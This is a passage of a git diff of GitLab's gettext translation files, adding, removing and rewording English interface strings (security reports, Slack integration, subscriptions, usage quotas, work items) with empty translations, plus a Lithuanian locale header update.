msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/lt_LT/gitlab.po b/locale/lt_LT/gitlab.po
index 0a31de96f18..b01cd5b2945 100644
--- a/locale/lt_LT/gitlab.po
+++ b/locale/lt_LT/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: lt\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -932,6 +932,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -1004,6 +1007,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1137,6 +1143,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1156,6 +1168,13 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1202,9 +1221,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1328,13 +1344,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1805,7 +1814,7 @@ msgstr[2] ""
msgstr[3] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -2038,6 +2047,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2182,9 +2194,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2233,9 +2242,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2395,7 +2401,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
